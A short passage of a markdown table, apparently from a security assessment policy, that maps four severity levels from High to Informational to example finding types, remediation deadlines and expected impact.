| High | Authentication bypass, privilege escalation | Urgent (1 week) | Significant data exposure |
| Medium | Information disclosure, weak encryption | Normal (1 month) | Limited data exposure |
| Low | Configuration issues, non-exploitable findings | Extended (3 months) | Minimal direct impact |
| Informational | Best practice violations, hardening opportunities | Next cycle | No immediate risk |